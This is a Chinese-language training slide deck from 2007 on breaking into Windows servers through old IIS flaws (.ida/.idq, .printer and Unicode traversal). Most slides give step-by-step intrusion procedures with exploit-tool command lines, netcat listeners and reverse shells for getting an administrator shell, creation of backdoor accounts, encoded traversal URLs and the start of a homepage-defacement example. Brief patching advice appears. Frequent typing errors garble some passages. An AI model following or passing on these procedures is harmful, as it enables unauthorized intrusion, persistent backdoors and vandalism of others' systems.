服务器入侵(免费奉送)

NeusoftInstituteofInformation2007年9月2日ITEducation&Training基于服务器软件漏洞的入侵•随着计算机应用的进一步普及和计算机网络的高速发展，越来越多的公司或个人架设自己的网络服务。但是这些软件在给人们带来方便和好处的时候本身的缺陷却被忽略。•服务器软件漏洞轻则导致服务器的信息被窃取，重则导致服务器被远程控制。NeusoftInstituteofInformation2007年9月2日ITEducation&Training本章内容•IIS漏洞带来的入侵•论坛系统带来的入侵•Blog系统带来的入侵•Serv-U带来的入侵NeusoftInstituteofInformation2007年9月2日ITEducation&TrainingIIS漏洞带来的入侵•IIS为InternetInformationServer的缩写，是Windows系统提供的Internet服务，作为“windows组建”附加在windows系统中。通过IIS，windows系统可以方便的提供Web服务、FTP服务和SMTP服务等。•IIS在方便用户使用的同时，也带来了安全隐患。据说有关IIS的安全漏洞有上千种，其中能被用来入侵的漏洞大多数属于“溢出”型漏洞。对于这种漏洞，入侵者能够通过发送特定格式的数据是远程服务器溢出，从而突破系统的保护。NeusoftInstituteofInformation2007年9月2日ITEducation&Training•关于溢出漏洞–.ida&.idq漏洞–Painter漏洞–Unicode漏洞–.asp映射分块编码漏洞•Webdav漏洞•关于扩展引发的漏洞–WindowsMedia服务nsiislog.dll远程缓冲区溢出漏洞–MicrosoftFrontpageServerExtensions远程缓冲区溢出漏洞NeusoftInstituteofInformation2007年9月2日ITEducation&Training搜集IIS信息•1、通过[telnet目标IP80]搜集Web服务器版本信息•2、在telnet连上之后需要连敲两次回车才能得到信息•3、通过[telnet目标IP21]搜集FTP服务器版本信息NeusoftInstituteofInformation2007年9月2日ITEducation&Training.ida&.idq漏洞•漏洞描述•IIS的indexserver.ida/.idqISAPI扩展存在缓冲区溢出漏洞•影响系统IIS4.0和5.0•IndexServer可以加快Web的搜索能力，提供对管理员脚本和Internet数据的查询，默认支持管理脚本.ida和查询脚本.idq，不过都是使用idq.dll来进行解析。但是存在一个缓冲区溢出，其中问题存在于idq.dll扩展程序上，由于没有对用户提交的参数进行边界检查，可以导致远程攻击者利用理出货的system全线来访问远程系统。NeusoftInstituteofInformation2007年9月2日ITEducation&Training漏洞检测•手工方式：在IE中输入*.ida或*.idq回车确认后如果提示“找不到**文件的信息”，就说明存在该漏洞•工具检测：X-Scan在“扫描模块”中选中“IIS漏洞”，如果得到“可能存在‘IISIndexServerISAPI扩展远程溢出漏洞（/null.ida）或（/null.idq）’”则说明存在该漏洞。NeusoftInstituteofInformation2007年9月2日ITEducation&Training漏洞利用•IDA入侵实例•IDAHack：是基于命令行的溢出工具，能够溢出打了sp1、sp2补丁的Windows200。当远程服务器溢出后，便会在指定的端口得到一个Telnet权限•Idahackhostporttypeshellport•类型：•中文win2001•中文win200sp12•中文win200sp23NeusoftInstituteofInformation2007年9月2日ITEducation&Training入侵思路•1、扫描远程服务器，先用X-scan扫描，然后手工炎症•2、使用[idahackIP801520]进行溢出•3、成功后，使用[telnetIP520]远程登录服务器•4、使用上一章所讲方法建立后门帐号•5、exit退出NeusoftInstituteofInformation2007年9月2日ITEducation&TrainingIDQ入侵实例•IISIDQ是snake编写的IDQ溢出工具，有命令行和图形界面两种方式，而且溢出成功后可以选择两种入侵方式–Iisidqtypeipport1lport[命令1]–Iisidqtypeipport2iplport[命令1]–类型：•0----iis5中文win2000•1----iis5中文win2000sp1•2----iis5中文win2000sp2NeusoftInstituteofInformation2007年9月2日ITEducation&Training溢出后的连接工具-nc•Nc在网络攻击中素有“瑞士军刀”的美誉，是入侵者经常使用的工具之一。•主动连接到外部：nc[-option]hostport[ports]•监听以等待外部连接：nc–l–pport[-option][host][port]•详细讲解参考帮助NeusoftInstituteofInformation2007年9月2日ITEducation&Training入侵思路•1、扫描远程服务器，确认存在IDQ溢出漏洞•2、IDQ溢出[iisidq0IP8015211]表示以iisidq的连接方式一对ip进行IDQ溢出漏洞，端口为80，成功后，远程服务器会打开521号端口等待外部连接。参数[输入命令1]设为1，表示不使用默认命令“cmd.exe/c+dir”，而是要在以后输入新的命令•也可以使用iisidq的gui工具来实现•3、nc连接[nc–vIP521]，从而获得具有管理员权限的shell•4、建立后门账号•5、exit退出NeusoftInstituteofInformation2007年9月2日ITEducation&Training安全解决方案•1、下载安装补丁•2、删除对.ida和.idq的脚本映射NeusoftInstituteofInformation2007年9月2日ITEducation&Training.Printer漏洞•Windows2000IIS5.0.printISAPI扩展存在缓冲区溢出漏洞•影响系统windows20003个server•Window2000iis5.0存在打印扩展ISAPI使得.printer扩展与msw3prt.dll扩展名到msw3prt.dll的映射关系，并会处理用户请求，但在msw3port.dll文件中存在缓冲区溢出漏洞。“Host：”栏中包含大约420字节的Http.printer请求给服务器，就可以导致缓冲区溢出并执行人以代码。该攻击可以使Web服务器停止响应。•该漏洞非常危险，仅需要代开80端口或者443端口。NeusoftInstituteofInformation2007年9月2日ITEducation&Training漏洞检测•使用X-Scan扫描IIS漏洞，如果得到“可能存在IIS5.0.printer远程缓冲区溢出漏洞”则说明该服务器存在.printer漏洞。NeusoftInstituteofInformation2007年9月2日ITEducation&Training漏洞利用•使用工具IIS5.printerExploit进行漏洞利用•格式：iis5exploitTipLiplport,稍等片刻，如果溢出成功，便会在本级nc监听的窗口出现，此时入侵者就得到了远程服务器管理员的shell。NeusoftInstituteofInformation2007年9月2日ITEducation&Training入侵实例•1、使用[nc–l–p250]在本地开一个监听端口•2、使用[iis5exploitTIPLIPLPort]对远程主机进行漏洞溢出。•建立后门账号•退出NeusoftInstituteofInformation2007年9月2日ITEducation&Training•也可以使用iisx进行漏洞溢出•格式：iisxthostsp-p|-a|-rtiptport•Sp：0---没有补丁，1---有补丁•-p：如果溢出成功，就会在远端打开7788端口等待连接•-a：如果溢出成功，会在远端添加一个管理员账号hax:hax，入侵者可以使用netuse连接远端服务器，或者使用DameWare实现远程控制。•-r：反向连接，能够穿透部分设置的防火墙。入侵者首先在本地nc打开监听端口。NeusoftInstituteofInformation2007年9月2日ITEducation&Training安全解决方案•打补丁，微软已经发布了针对该漏洞的补丁NeusoftInstituteofInformation2007年9月2日ITEducation&TrainingUnicode目录遍历漏洞•微软IIS4.0或5.0扩展Unicode目录遍历漏洞•影响系统：win2000及NT4.0•IIS4.0或5.0都存在利用扩展Unicode字符取代“/”和“\”而能利用“../”目录遍历的漏洞。未经授权的用户可能利用IUSR_machinename帐号的上下文空间访问任何已知的文件。该帐号在默认情况下属于Everyone和Users组的成员，因此任何与Web根目录在同一逻辑驱动器上的能被这些用户组访问的文件都能被删除修改或执行。NeusoftInstituteofInformation2007年9月2日ITEducation&Training漏洞利用•从漏洞的描述可以看出，Unicode漏洞允许未经授权的用户使用客户端IE来构造非法字符。因此只要入侵者能够狗仔出适当的字符如“/”“\”，就可以利用“../”来遍历与Web根目录处在一个逻辑驱动器上的目录，从而导致“非法遍历”。这样一来入侵者就可以利用该方法操作该服务器上的磁盘文件，可以新建、下载、删除、执行磁盘文件。除此之外，入侵者通过构造Unicode编码利用来找到并打开该服务器上的cmd来执行命令•可以利用%c1%1c=‘/’和%c0%2f=‘\’来构造NeusoftInstituteofInformation2007年9月2日ITEducation&Training漏洞检测•手工：假设远程服务器为win200pro，在IE地址栏中输入[:\]，与远程服务器连接之后，如果把C盘的内容列出来了则证明存在该漏洞。•工具检测：使用X-scan选中“IIS漏洞”，如果得到类似的“/scripts/..%252f…/cmd.exe?/c+dir”就说明存在漏洞NeusoftInstituteofInformation2007年9月2日ITEducation&Training漏洞利用•利用Unicode漏洞，入侵者能够把IE编程远程执行命令的控制台。不过Unicode漏洞并不是远程溢出漏洞，不能拿到管理员权限的shell，只能进行简单的文件类操作。NeusoftInstituteofInformation2007年9月2日ITEducation&Training实例1：涂鸦主页•1、准备一个自己涂鸦的主页•2、探知远程服务器的Web根目录•如果存在.ida&.idq可以在地址